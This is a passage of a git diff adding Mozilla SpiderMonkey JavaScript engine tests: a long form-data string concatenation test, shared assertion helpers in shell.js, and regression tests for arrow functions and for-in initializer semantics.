+ +"&OB12="+OB12
+ +"&OBFI="+OBFI
+ +"&OP01="+OP01
+ +"&OP02="+OP02
+ +"&OP03="+OP03
+ +"&OP04="+OP04
+ +"&SMDR="+SMDR
+ +"&SMDO="+SMDO
+ +"&DMFI="+DMFI
+ +"&HMFD="+HMFD
+ +"&WSMM="+WSMM
+ +"&MMFI="+MMFI
+ +"&MDFP="+MDFP
+ +"&MDMP="+MDMP
+ +"&MDFC="+MDFC
+ +"&MDMC="+MDMC
+ +"&SF55="+SF55
+ +"&SF56="+SF56
+ +"&SF57="+SF57
+ +"&SF58="+SF58
+ +"&SF59="+SF59
+ +"&SF60="+SF60
+ +"&SF61="+SF61
+ +"&SF62="+SF62
+ +"&SF63="+SF63
+ +"&SF64="+SF64
+ +"&SF65="+SF65
+ +"&SFFI="+SFFI
+ +"&RC01="+RC01
+ +"&RC02="+RC02
+ +"&RC03="+RC03
+ +"&RC04="+RC04
+ +"&RC05="+RC05
+ +"&RC06="+RC06
+ +"&RC07="+RC07
+ +"&RC08="+RC08
+ +"&RCFI="+RCFI
+ +"&RH01="+RH01
+ +"&RH02="+RH02
+ +"&RH03="+RH03
+ +"&RH04="+RH04
+ +"&RH05="+RH05
+ +"&RH06="+RH06
+ +"&RHFI="+RHFI
+ +"&FE35="+FE35
+ +"&FE36="+FE36
+ +"&FE37="+FE37
+ +"&FE38="+FE38
+ +"&FE39="+FE39
+ +"&FE40="+FE40
+ +"&FE41="+FE41
+ +"&FE42="+FE42
+ +"&FE43="+FE43
+ +"&FE44="+FE44
+ +"&FE45="+FE45
+ +"&FE46="+FE46
+ +"&FE47="+FE47
+ +"&FE48="+FE48
+ +"&FE49="+FE49
+ +"&FE50="+FE50
+ +"&FE51="+FE51
+ +"&FE52="+FE52
+ +"&FE53="+FE53
+ +"&NCDK="+NCDK
+ +"&NPRM="+NPRM
+ +"&NBLM="+NBLM
+ +"&NVRC="+NVRC
+ +"&NCTP="+NCTP
+ +"&PMDP="+PMDP
+ +"&PMDR="+PMDR
+ +"&CRMD="+CRMD
+ +"&MDDK="+MDDK
+ +"&PUSE="+PUSE
+ +"&IF42="+IF42
+ +"&IF43="+IF43
+ +"&IF44="+IF44
+ +"&IF45="+IF45
+ +"&IF46="+IF46
+ +"&IF47="+IF47
+ +"&IF48="+IF48
+ +"&OF00="+OF00
+ +"&OS00="+OS00
+ +"&BR00="+BR00
+ +"&OB13="+OB13
+ +"&OB14="+OB14
+ +"&MO01="+MO01
+ +"&MO02="+MO02
+ +"&MO03="+MO03
+ +"&MO04="+MO04
+ +"&MO05="+MO05
+ +"&MO06="+MO06
+ +"&MO07="+MO07
+ +"&MO08="+MO08
+ +"&MO09="+MO09
+ +"&MO10="+MO10
+ +"&MO11="+MO11
+ +"&MO12="+MO12
+ +"&MO13="+MO13
+ +"&RF09="+RF09
+ +"&RF10="+RF10
+ +"&RF11="+RF11
+ +"&RF12="+RF12
+ +"&RF13="+RF13
+ +"&RF14="+RF14
+ +"&RF15="+RF15
+ +"&RF16="+RF16
+ +"&RF17="+RF17
+ +"&RF18="+RF18
+ +"&RF19="+RF19
+ +"&RF20="+RF20
+ +"&RF21="+RF21
+ +"&RF22="+RF22
+ +"&RF23="+RF23
+ +"&RF24="+RF24
+ +"&RF25="+RF25
+ +"&RF26="+RF26
+ +"&RF27="+RF27
+ +"&RF28="+RF28
+ +"&RF29="+RF29
+ +"&RF30="+RF30
+ +"&RF31="+RF31
+ +"&RF32="+RF32
+ +"&RF33="+RF33
+ +"&RF34="+RF34
+ +"&RF35="+RF35
+ +"&RF36="+RF36
+ +"&RF37="+RF37
+ +"&RF38="+RF38
+ +"&RF39="+RF39
+ +"&RF40="+RF40
+ +"&RF41="+RF41
+ +"&RF42="+RF42
+ +"&RF43="+RF43
+ +"&RF44="+RF44
+ +"&RF45="+RF45
+ +"&RF46="+RF46
+ +"&RF47="+RF47
+ +"&RF48="+RF48
+ +"&RF49="+RF49
+ +"&RF50="+RF50
+ +"&RF51="+RF51
+ +"&RF52="+RF52
+ +"&RF53="+RF53
+ +"&RF54="+RF54
+ +"&RF55="+RF55
+ +"&RF56="+RF56
+ +"&RF57="+RF57
+ +"&RF58="+RF58
+ +"&RF59="+RF59
+ +"&RF60="+RF60
+ +"&RF61="+RF61
+ +"&RF62="+RF62
+ +"&RF63="+RF63
+ +"&RF64="+RF64
+ +"&RF65="+RF65
+ +"&RF66="+RF66
+ +"&RF67="+RF67
+ +"&CO08="+CO08
+ +"&CO09="+CO09
+ +"&CO10="+CO10
+ +"&CO11="+CO11
+ +"&CO12="+CO12
+ +"&CO13="+CO13
+ +"&CO14="+CO14
+ +"&CO15="+CO15
+ +"&CO16="+CO16
+ +"&CO17="+CO17
+ +"&CO18="+CO18
+ +"&CO19="+CO19
+ +"&WUCP="+WUCP
+ +"&AVSM="+AVSM
+ +"&SD01="+SD01
+ +"&SD02="+SD02
+ +"&SD03="+SD03
+ +"&SD04="+SD04
+ +"&SD05="+SD05
+ +"&SD06="+SD06
+ +"&SD07="+SD07
+ +"&TP01="+TP01
+ +"&TP02="+TP02
+ +"&TP03="+TP03
+ +"&TP04="+TP04
+ +"&WC08="+WC08
+ +"&WC09="+WC09
+ +"&WC10="+WC10
+ +"&WC11="+WC11
+ +"&WC12="+WC12
+ +"&WC13="+WC13
+ +"&WC14="+WC14
+ +"&WC15="+WC15
+ +"&MD01="+MD01
+ +"&MD02="+MD02
+ +"&MD03="+MD03
+ +"&MD04="+MD04
+ +"&MD05="+MD05
+ +"&MD06="+MD06
+ +"&MD07="+MD07
+ +"&MD08="+MD08
+ +"&MD09="+MD09
+ +"&MD10="+MD10
+ +"&MD11="+MD11
+ +"&MD12="+MD12
+ +"&MD13="+MD13
+ +"&MD14="+MD14
+ +"&MD15="+MD15
+ +"&MF01="+MF01
+ +"&MF02="+MF02
+ +"&MF03="+MF03
+ +"&MF04="+MF04
+ +"&MF05="+MF05
+ +"&MF06="+MF06
+ +"&MF07="+MF07
+ +"&MF08="+MF08
+ +"&MF09="+MF09
+ +"&MF10="+MF10
+ +"&MF11="+MF11
+ +"&MF12="+MF12
+ +"&MF13="+MF13
+ +"&MF14="+MF14
+ +"&MF15="+MF15
+ +"&PU01="+PU01
+ +"&PU02="+PU02
+ +"&PU03="+PU03
+ +"&PU04="+PU04
+ +"&PU05="+PU05
+ +"&SF00="+SF00
+ +"&NCDR="+NCDR
+ +"&AGCT="+AGCT
+ +"&MUS1="+MUS1
+ +"&MUS2="+MUS2
+ +"&MUS3="+MUS3
+ +"&SF66="+SF66
+ +"&SF67="+SF67
+ +"&SF68="+SF68
+ +"&FA33="+FA33
+ +"&FA34="+FA34
+ +"&AO44="+AO44
+ +"&IS44="+IS44
+ +"&B644="+B644
+ +"&IF52="+IF52
+ +"&IF53="+IF53
+ +"&IF54="+IF54
+ +"&IF55="+IF55
+ +"&IF56="+IF56
+ +"&IF57="+IF57
+ +"&IF58="+IF58
+ +"&IF59="+IF59
+ +"&IF60="+IF60
+ +"&IF61="+IF61
+ +"&IF62="+IF62
+ +"&IF63="+IF63
+ +"&IF64="+IF64
+ +"&IF65="+IF65
+ +"&IF66="+IF66
+ +"&IF67="+IF67
+ +"&IF68="+IF68
+ +"&MA28="+MA28
+ +"&NADL="+NADL
+ +"&AGCH="+AGCH
+ +"&LRNA="+LRNA
+ +"&LROT="+LROT
+ +"&WHRM="+WHRM
+ +"&WROT="+WROT
+ +"&DV01="+DV01
+ +"&DV02="+DV02
+ +"&DV03="+DV03
+ +"&DV04="+DV04
+ +"&DV05="+DV05
+ +"&DV06="+DV06
+ +"&DV07="+DV07
+ +"&DV08="+DV08
+ +"&PVUF="+PVUF
+ +"&WDVC="+WDVC
+ +"&VCOT="+VCOT
+ +"&VCPU="+VCPU
+ +"&PUCA="+PUCA
+ +"&PUOT="+PUOT
+ +"&SCAT="+SCAT
+ +"&UCBX="+UCBX
+ +"&CRDS="+CRDS
+ +"&SATP="+SATP
+ +"&BRPS="+BRPS
+ +"&BRES="+BRES
+ +"&HMCC="+HMCC
+ +"&MRTV="+MRTV
+ +"&WTTV="+WTTV
+ +"&WTOT="+WTOT
+ +"&MASL="+MASL
+ +"&RESL="+RESL
+ +"&OVSL="+OVSL
+ +"&MPNC="+MPNC
+ +"&NCOT="+NCOT
+ +"&MPCP="+MPCP
+ +"&CPOT="+CPOT
+ +"&CA01="+CA01
+ +"&CA02="+CA02
+ +"&CA03="+CA03
+ +"&CA04="+CA04
+ +"&CA05="+CA05
+ +"&CA06="+CA06
+ +"&HMVC="+HMVC
+ +"&CTVS="+CTVS
+ +"&CTVA="+CTVA
+ +"&WKCC="+WKCC
+ +"&TVBN="+TVBN
+ +"&VP01="+VP01
+ +"&VP02="+VP02
+ +"&VP03="+VP03
+ +"&VPOT="+VPOT
+ +"&WWVT="+WWVT
+ +"&FKTR="+FKTR
+ +"&FKTP="+FKTP
+ +"&FKOP="+FKOP
+ +"&PKOO="+PKOO
+ +"&C1AG="+C1AG
+ +"&C1FV="+C1FV
+ +"&C2AG="+C2AG
+ +"&C2FV="+C2FV
+ +"&C3AG="+C3AG
+ +"&C3FV="+C3FV
+ +"&C4AG="+C4AG
+ +"&C4FV="+C4FV
+ +"&C1A2="+C1A2
+ +"&N1HT="+N1HT
+ +"&N1VT="+N1VT
+ +"&C2A2="+C2A2
+ +"&N2HT="+N2HT
+ +"&N2VT="+N2VT
+ +"&C3A2="+C3A2
+ +"&N3HT="+N3HT
+ +"&N3VT="+N3VT
+ +"&C4A2="+C4A2
+ +"&N4HT="+N4HT
+ +"&N4VT="+N4VT
+ +"&HECG="+HECG
+ +"&HEIC="+HEIC
+ +"&HECC="+HECC
+ +"&HEDV="+HEDV
+ +"&PVPR="+PVPR
+ +"&PPOT="+PPOT
+ +"&BVOV="+BVOV
+ +"&HUVV="+HUVV
+ +"&HUOT="+HUOT
+ +"&RCVC="+RCVC
+ +"&HRVC="+HRVC
+ +"&HROT="+HROT
+ +"&NCP1="+NCP1
+ +"&CD01="+CD01
+ +"&CD02="+CD02
+ +"&CD03="+CD03
+ +"&CD04="+CD04
+ +"&CD05="+CD05
+ +"&RF73="+RF73
+ +"&RF74="+RF74
+ +"&RF75="+RF75
+ +"&RF76="+RF76
+ +"&RF77="+RF77
+ +"&RF78="+RF78
+ +"&RF79="+RF79
+ +"&RF80="+RF80
+ +"&RF81="+RF81
+ +"&RF82="+RF82
+ +"&RF83="+RF83
+ +"&RF84="+RF84
+ +"&RF85="+RF85
+ +"&RF86="+RF86
+ +"&YUDC="+YUDC
+ +"&OCPB="+OCPB
+ +"&IF49="+IF49
+ +"&IF50="+IF50
+ +"&MA27="+MA27
+ +"&CP01="+CP01
+ +"&CP02="+CP02
+ +"&CP03="+CP03
+ +"&CP04="+CP04
+ +"&CP05="+CP05
+ +"&CP06="+CP06
+ +"&CP07="+CP07
+ +"&CP08="+CP08
+ +"&CP09="+CP09
+ +"&CP10="+CP10
+ +"&CP11="+CP11
+ +"&CPFI="+CPFI
+ +"&OBRN="+OBRN
+ +"&OMDL="+OMDL
+ +"&SNQU="+SNQU
+ +"&TS01="+TS01
+ +"&TS02="+TS02
+ +"&TS03="+TS03
+ +"&TS04="+TS04
+ +"&TS05="+TS05
+ +"&TS06="+TS06
+ +"&TS07="+TS07
+ +"&TS08="+TS08
+ +"&RPAU="+RPAU
+ +"&US01="+US01
+ +"&US02="+US02
+ +"&US03="+US03
+ +"&US04="+US04
+ +"&US05="+US05
+ +"&US06="+US06
+ +"&US07="+US07
+ +"&US08="+US08
+ +"&US09="+US09
+ +"&US10="+US10
+ +"&US11="+US11
+ +"&US12="+US12
+ +"&US13="+US13
+ +"&US14="+US14
+ +"&LK01="+LK01
+ +"&LK02="+LK02
+ +"&LK03="+LK03
+ +"&LK04="+LK04
+ +"&LK05="+LK05
+ +"&LK06="+LK06
+ +"&LK07="+LK07
+ +"&LK08="+LK08
+ +"&LK09="+LK09
+ +"&LK10="+LK10
+ +"&LK11="+LK11
+ +"&LK12="+LK12
+ +"&LK13="+LK13
+ +"&LK14="+LK14
+ +"&NCID="+NCID
+ +"&NP01="+NP01
+ +"&NP02="+NP02
+ +"&NP03="+NP03
+ +"&NP04="+NP04
+ +"&NP05="+NP05
+ +"&NP06="+NP06
+ +"&NP07="+NP07
+ +"&NP08="+NP08
+ +"&PLPH="+PLPH
+ +"&LPFI="+LPFI
+ +"&POP2="+POP2
+ +"&OPP2="+OPP2
+ +"&PULO="+PULO
+ +"&ARTI="+ARTI
+ +"&FND2="+FND2
+ +"&IWUM="+IWUM
+ +"&VTPS="+VTPS
+ +"&VPFI="+VPFI
+ +"&MART="+MART
+ +"&OB15="+OB15
+ +"&IF69="+IF69
+ +"&IF70="+IF70
+ +"&IF71="+IF71
+ +"&OF20="+OF20
+ +"&OS20="+OS20
+ +"&BR20="+BR20
+ +"&OF21="+OF21
+ +"&OS21="+OS21
+ +"&BR21="+BR21
+ +"&FC18="+FC18
+ +"&IF72="+IF72
+ +"&IF73="+IF73
+ +"&IF74="+IF74
+ +"&IF75="+IF75
+ +"&IF76="+IF76
+ +"&IF77="+IF77
+ +"&IF78="+IF78
+ +"&MA29="+MA29
+ +"&MA30="+MA30
+ +"&OF22="+OF22
+ +"&OS22="+OS22
+ +"&BR22="+BR22
+ +"&IF79="+IF79
+ +"&IF80="+IF80
+ +"&IF81="+IF81
+ +"&MA31="+MA31
+ +"&OF23="+OF23
+ +"&OS23="+OS23
+ +"&BR23="+BR23
+ +"&OF24="+OF24
+ +"&OS24="+OS24
+ +"&BR24="+BR24
+ +"&OF25="+OF25
+ +"&OS25="+OS25
+ +"&BR25="+BR25
+ +"&OF26="+OF26
+ +"&OS26="+OS26
+ +"&BR26="+BR26
+ +"&FC19="+FC19
+ +"&IF51="+IF51
+ +"&SUIN="+SUIN
+ +"&CBRN="+CBRN
+ +"&PICW="+PICW
+ +"&PICI="+PICI
+ +"&WS01="+WS01
+ +"&WS02="+WS02
+ +"&WS03="+WS03
+ +"&WS04="+WS04
+ +"&WS05="+WS05
+ +"&WS06="+WS06
+ +"&WS07="+WS07
+ +"&WS08="+WS08
+ +"&WS09="+WS09
+ +"&WS10="+WS10
+ +"&WSOT="+WSOT
+ +"&WR01="+WR01
+ +"&WR02="+WR02
+ +"&WR03="+WR03
+ +"&WR04="+WR04
+ +"&WR05="+WR05
+ +"&WR06="+WR06
+ +"&WR07="+WR07
+ +"&WR08="+WR08
+ +"&WR09="+WR09
+ +"&WR10="+WR10
+ +"&WR11="+WR11
+ +"&WR12="+WR12
+ +"&WR13="+WR13
+ +"&SV01="+SV01
+ +"&SV02="+SV02
+ +"&SV03="+SV03
+ +"&BMOL="+BMOL
+ +"&WTBM="+WTBM
+ +"&WJSU="+WJSU
+ +"&OF27="+OF27
+ +"&OS27="+OS27
+ +"&BR27="+BR27
+ +"&OF28="+OF28
+ +"&OS28="+OS28
+ +"&BR28="+BR28
+ +"&IF82="+IF82
+ +"&IF83="+IF83
+ +"&MA32="+MA32
+ +"&MA33="+MA33
+ +"&MA34="+MA34
+ +"&SFOT="+SFOT
+ +"&MPDC="+MPDC
+ +"&DCOT="+DCOT
+ ;
+ return data;
+}
+
+formData();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/shell.js b/js/src/tests/non262/regress/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/regress/shell.js
diff --git a/js/src/tests/non262/shell.js b/js/src/tests/non262/shell.js
new file mode 100644
index 0000000000..2e4f9e5224
--- /dev/null
+++ b/js/src/tests/non262/shell.js
@@ -0,0 +1,339 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+(function(global) {
+ const undefined = void 0;
+
+ /*
+ * completesNormally(CODE) returns true if evaluating CODE (as eval
+ * code) completes normally (rather than throwing an exception).
+ */
+ global.completesNormally = function completesNormally(code) {
+ try {
+ eval(code);
+ return true;
+ } catch (exception) {
+ return false;
+ }
+ }
+
+ /*
+ * raisesException(EXCEPTION)(CODE) returns true if evaluating CODE (as
+ * eval code) throws an exception object that is an instance of EXCEPTION,
+ * and returns false if it throws any other error or evaluates
+ * successfully. For example: raises(TypeError)("0()") == true.
+ */
+ global.raisesException = function raisesException(exception) {
+ return function (code) {
+ try {
+ eval(code);
+ return false;
+ } catch (actual) {
+ return actual instanceof exception;
+ }
+ };
+ };
+
+ /*
+ * Return true if A is equal to B, where equality on arrays and objects
+ * means that they have the same set of enumerable properties, the values
+ * of each property are deep_equal, and their 'length' properties are
+ * equal. Equality on other types is ==.
+ */
+ global.deepEqual = function deepEqual(a, b) {
+ if (typeof a != typeof b)
+ return false;
+
+ if (typeof a == 'object') {
+ var props = {};
+ // For every property of a, does b have that property with an equal value?
+ for (var prop in a) {
+ if (!deepEqual(a[prop], b[prop]))
+ return false;
+ props[prop] = true;
+ }
+ // Are all of b's properties present on a?
+ for (var prop in b)
+ if (!props[prop])
+ return false;
+ // length isn't enumerable, but we want to check it, too.
+ return a.length == b.length;
+ }
+
+ if (a === b) {
+ // Distinguish 0 from -0, even though they are ===.
+ return a !== 0 || 1/a === 1/b;
+ }
+
+ // Treat NaNs as equal, even though NaN !== NaN.
+ // NaNs are the only non-reflexive values, i.e., if a !== a, then a is a NaN.
+ // isNaN is broken: it converts its argument to number, so isNaN("foo") => true
+ return a !== a && b !== b;
+ }
+
+ /** Make an iterator with a return method. */
+ global.makeIterator = function makeIterator(overrides) {
+ var throwMethod;
+ if (overrides && overrides.throw)
+ throwMethod = overrides.throw;
+ var iterator = {
+ throw: throwMethod,
+ next: function(x) {
+ if (overrides && overrides.next)
+ return overrides.next(x);
+ return { done: false };
+ },
+ return: function(x) {
+ if (overrides && overrides.ret)
+ return overrides.ret(x);
+ return { done: true };
+ }
+ };
+
+ return function() { return iterator; };
+ };
+
+ /** Yield every permutation of the elements in some array. */
+ global.Permutations = function* Permutations(items) {
+ if (items.length == 0) {
+ yield [];
+ } else {
+ items = items.slice(0);
+ for (let i = 0; i < items.length; i++) {
+ let swap = items[0];
+ items[0] = items[i];
+ items[i] = swap;
+ for (let e of Permutations(items.slice(1, items.length)))
+ yield [items[0]].concat(e);
+ }
+ }
+ };
+
+ if (typeof global.assertThrowsValue === 'undefined') {
+ global.assertThrowsValue = function assertThrowsValue(f, val, msg) {
+ var fullmsg;
+ try {
+ f();
+ } catch (exc) {
+ if ((exc === val) === (val === val) && (val !== 0 || 1 / exc === 1 / val))
+ return;
+ fullmsg = "Assertion failed: expected exception " + val + ", got " + exc;
+ }
+ if (fullmsg === undefined)
+ fullmsg = "Assertion failed: expected exception " + val + ", no exception thrown";
+ if (msg !== undefined)
+ fullmsg += " - " + msg;
+ throw new Error(fullmsg);
+ };
+ }
+
+ if (typeof global.assertThrowsInstanceOf === 'undefined') {
+ global.assertThrowsInstanceOf = function assertThrowsInstanceOf(f, ctor, msg) {
+ var fullmsg;
+ try {
+ f();
+ } catch (exc) {
+ if (exc instanceof ctor)
+ return;
+ fullmsg = `Assertion failed: expected exception ${ctor.name}, got ${exc}`;
+ }
+
+ if (fullmsg === undefined)
+ fullmsg = `Assertion failed: expected exception ${ctor.name}, no exception thrown`;
+ if (msg !== undefined)
+ fullmsg += " - " + msg;
+
+ throw new Error(fullmsg);
+ };
+ }
+
+ global.assertDeepEq = (function(){
+ var call = Function.prototype.call,
+ Array_isArray = Array.isArray,
+ Array_includes = call.bind(Array.prototype.includes),
+ Map_ = Map,
+ Error_ = Error,
+ Symbol_ = Symbol,
+ Symbol_keyFor = Symbol.keyFor,
+ Symbol_description = call.bind(Object.getOwnPropertyDescriptor(Symbol.prototype, "description").get),
+ Map_has = call.bind(Map.prototype.has),
+ Map_get = call.bind(Map.prototype.get),
+ Map_set = call.bind(Map.prototype.set),
+ Object_toString = call.bind(Object.prototype.toString),
+ Function_toString = call.bind(Function.prototype.toString),
+ Object_getPrototypeOf = Object.getPrototypeOf,
+ Object_hasOwnProperty = call.bind(Object.prototype.hasOwnProperty),
+ Object_getOwnPropertyDescriptor = Object.getOwnPropertyDescriptor,
+ Object_isExtensible = Object.isExtensible,
+ Object_getOwnPropertyNames = Object.getOwnPropertyNames;
+
+ // Return true iff ES6 Type(v) isn't Object.
+ // Note that `typeof document.all === "undefined"`.
+ function isPrimitive(v) {
+ return (v === null ||
+ v === undefined ||
+ typeof v === "boolean" ||
+ typeof v === "number" ||
+ typeof v === "string" ||
+ typeof v === "symbol");
+ }
+
+ function assertSameValue(a, b, msg) {
+ try {
+ assertEq(a, b);
+ } catch (exc) {
+ throw Error_(exc.message + (msg ? " " + msg : ""));
+ }
+ }
+
+ function assertSameClass(a, b, msg) {
+ var ac = Object_toString(a), bc = Object_toString(b);
+ assertSameValue(ac, bc, msg);
+ switch (ac) {
+ case "[object Function]":
+ if (typeof isProxy !== "undefined" && !isProxy(a) && !isProxy(b))
+ assertSameValue(Function_toString(a), Function_toString(b), msg);
+ }
+ }
+
+ function at(prevmsg, segment) {
+ return prevmsg ? prevmsg + segment : "at _" + segment;
+ }
+
+ // Assert that the arguments a and b are thoroughly structurally equivalent.
+ //
+ // For the sake of speed, we cut a corner:
+ // var x = {}, y = {}, ax = [x];
+ // assertDeepEq([ax, x], [ax, y]); // passes (?!)
+ //
+ // Technically this should fail, since the two object graphs are different.
+ // (The graph of [ax, y] contains one more object than the graph of [ax, x].)
+ //
+ // To get technically correct behavior, pass {strictEquivalence: true}.
+ // This is slower because we have to walk the entire graph, and Object.prototype
+ // is big.
+ //
+ return function assertDeepEq(a, b, options) {
+ var strictEquivalence = options ? options.strictEquivalence : false;
+
+ function assertSameProto(a, b, msg) {
+ check(Object_getPrototypeOf(a), Object_getPrototypeOf(b), at(msg, ".__proto__"));
+ }
+
+ function failPropList(na, nb, msg) {
+ throw Error_("got own properties " + JSON.stringify(na) + ", expected " + JSON.stringify(nb) +
+ (msg ? " " + msg : ""));
+ }
+
+ function assertSameProps(a, b, msg) {
+ var na = Object_getOwnPropertyNames(a),
+ nb = Object_getOwnPropertyNames(b);
+ if (na.length !== nb.length)
+ failPropList(na, nb, msg);
+
+ // Ignore differences in whether Array elements are stored densely.
+ if (Array_isArray(a)) {
+ na.sort();
+ nb.sort();
+ }
+
+ for (var i = 0; i < na.length; i++) {
+ var name = na[i];
+ if (name !== nb[i])
+ failPropList(na, nb, msg);
+ var da = Object_getOwnPropertyDescriptor(a, name),
+ db = Object_getOwnPropertyDescriptor(b, name);
+ var pmsg = at(msg, /^[_$A-Za-z0-9]+$/.test(name)
+ ? /0|[1-9][0-9]*/.test(name) ? "[" + name + "]" : "." + name
+ : "[" + JSON.stringify(name) + "]");
+ assertSameValue(da.configurable, db.configurable, at(pmsg, ".[[Configurable]]"));
+ assertSameValue(da.enumerable, db.enumerable, at(pmsg, ".[[Enumerable]]"));
+ if (Object_hasOwnProperty(da, "value")) {
+ if (!Object_hasOwnProperty(db, "value"))
+ throw Error_("got data property, expected accessor property" + pmsg);
+ check(da.value, db.value, pmsg);
+ } else {
+ if (Object_hasOwnProperty(db, "value"))
+ throw Error_("got accessor property, expected data property" + pmsg);
+ check(da.get, db.get, at(pmsg, ".[[Get]]"));
+ check(da.set, db.set, at(pmsg, ".[[Set]]"));
+ }
+ }
+ };
+
+ const wellKnownSymbols = Reflect.ownKeys(Symbol)
+ .map(key => Symbol[key])
+ .filter(value => typeof value === "symbol");
+
+ // The standard doesn't offer a convenient way to distinguish well-known
+ // symbols from user-created symbols.
+ function isSimilarSymbol(a, b) {
+ // Fast path for same symbols.
+ if (a === b) {
+ return true;
+ }
+
+ // 1. Symbol descriptions must match.
+ // 2. Either both symbols are in the registry or none is.
+ // 3. Neither symbol must be a well-known symbol, because those are
+ // already handled through the fast path.
+ return Symbol_description(a) === Symbol_description(b) &&
+ Symbol_keyFor(a) === Symbol_keyFor(b) &&
+ !Array_includes(wellKnownSymbols, a) &&
+ !Array_includes(wellKnownSymbols, b);
+ }
+
+ var ab = new Map_();
+ var bpath = new Map_();
+
+ function check(a, b, path) {
+ if (typeof a === "symbol") {
+ // Symbols are primitives, but they have identity.
+ // Symbol("x") !== Symbol("x") but
+ // assertDeepEq(Symbol("x"), Symbol("x")) should pass.
+ if (typeof b !== "symbol") {
+ throw Error_("got " + String(a) + ", expected " + String(b) + " " + path);
+ } else if (!isSimilarSymbol(a, b)) {
+ throw Error_("got " + String(a) + ", expected " + String(b) + " " + path);
+ } else if (Map_has(ab, a)) {
+ assertSameValue(Map_get(ab, a), b, path);
+ } else if (Map_has(bpath, b)) {
+ var bPrevPath = Map_get(bpath, b) || "_";
+ throw Error_("got distinct symbols " + at(path, "") + " and " +
+ at(bPrevPath, "") + ", expected the same symbol both places");
+ } else {
+ Map_set(ab, a, b);
+ Map_set(bpath, b, path);
+ }
+ } else if (isPrimitive(a)) {
+ assertSameValue(a, b, path);
+ } else if (isPrimitive(b)) {
+ throw Error_("got " + Object_toString(a) + ", expected " + String(b) + " " + path);
+ } else if (Map_has(ab, a)) {
+ assertSameValue(Map_get(ab, a), b, path);
+ } else if (Map_has(bpath, b)) {
+ var bPrevPath = Map_get(bpath, b) || "_";
+ throw Error_("got distinct objects " + at(path, "") + " and " + at(bPrevPath, "") +
+ ", expected the same object both places");
+ } else {
+ Map_set(ab, a, b);
+ Map_set(bpath, b, path);
+ if (a !== b || strictEquivalence) {
+ assertSameClass(a, b, path);
+ assertSameProto(a, b, path);
+ assertSameProps(a, b, path);
+ assertSameValue(Object_isExtensible(a),
+ Object_isExtensible(b),
+ at(path, ".[[Extensible]]"));
+ }
+ }
+ }
+
+ check(a, b, "");
+ };
+ })();
+
+})(this);
diff --git a/js/src/tests/non262/statements/arrow-function-at-end-of-for-statement-head.js b/js/src/tests/non262/statements/arrow-function-at-end-of-for-statement-head.js
new file mode 100644
index 0000000000..9043b818c6
--- /dev/null
+++ b/js/src/tests/non262/statements/arrow-function-at-end-of-for-statement-head.js
@@ -0,0 +1,64 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var gTestfile = "arrow-function-in-for-statement-head.js";
+var BUGNUMBER = 1302994;
+var summary =
+ "Don't assert when an arrow function occurs at the end of a declaration " +
+ "init-component of a for(;;) loop head";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function f1()
+{
+ for (var x = a => b; false; false)
+ {}
+}
+f1();
+
+function f2()
+{
+ for (var x = a => b, y = c => d; false; false)
+ {}
+}
+f2();
+
+function f3()
+{
+ for (var x = a => {}; false; false)
+ {}
+}
+f3();
+
+function f4()
+{
+ for (var x = a => {}, y = b => {}; false; false)
+ {}
+}
+f4();
+
+function g1()
+{
+ for (a => b; false; false)
+ {}
+}
+g1();
+
+function g2()
+{
+ for (a => {}; false; false)
+ {}
+}
+g2();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/statements/arrow-function-in-for-statement-head.js b/js/src/tests/non262/statements/arrow-function-in-for-statement-head.js
new file mode 100644
index 0000000000..4b636d3acf
--- /dev/null
+++ b/js/src/tests/non262/statements/arrow-function-in-for-statement-head.js
@@ -0,0 +1,33 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var gTestfile = "arrow-function-in-for-statement-head.js";
+var BUGNUMBER = 1163851;
+var summary =
+ "|for (x => 0 in 1;;) break;| must be a syntax error per ES6, not an " +
+ "elaborate nop";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ Function("for (x => 0 in 1;;) break;");
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e instanceof SyntaxError, true,
+ "expected syntax error, got " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/statements/browser.js b/js/src/tests/non262/statements/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/statements/browser.js
diff --git a/js/src/tests/non262/statements/for-in-with-assignment-semantics.js b/js/src/tests/non262/statements/for-in-with-assignment-semantics.js
new file mode 100644
index 0000000000..f1dbb3438f
--- /dev/null
+++ b/js/src/tests/non262/statements/for-in-with-assignment-semantics.js
@@ -0,0 +1,46 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+const unreachable = () => { throw "unreachable"; };
+
+// var-initializer expression is executed before for-in expression.
+var log = "";
+for (var x = (log += "head") in (log += "|expr", null)) unreachable();
+assertEq(log, "head|expr");
+
+log = "";
+for (var x = (log += "head") in (log += "|expr", {})) unreachable();
+assertEq(log, "head|expr");
+
+
+// for-in expression isn't executed when var-initializer throws exception.
+function ExpectedError() {}
+assertThrowsInstanceOf(() => {
+ var throwErr = () => { throw new ExpectedError(); };
+ for (var x = throwErr() in unreachable()) unreachable();
+}, ExpectedError);
+
+
+// Ensure environment operations are performed correctly.
+var scope = new Proxy({x: 0}, new Proxy({}, {
+ get(t, pk, r) {
+ log += pk + "|";
+ }
+}));
+
+log = "";
+with (scope) {
+ for (var x = 0 in {}) ;
+}
+assertEq(log, "has|get|set|getOwnPropertyDescriptor|defineProperty|");
+
+log = "";
+with (scope) {
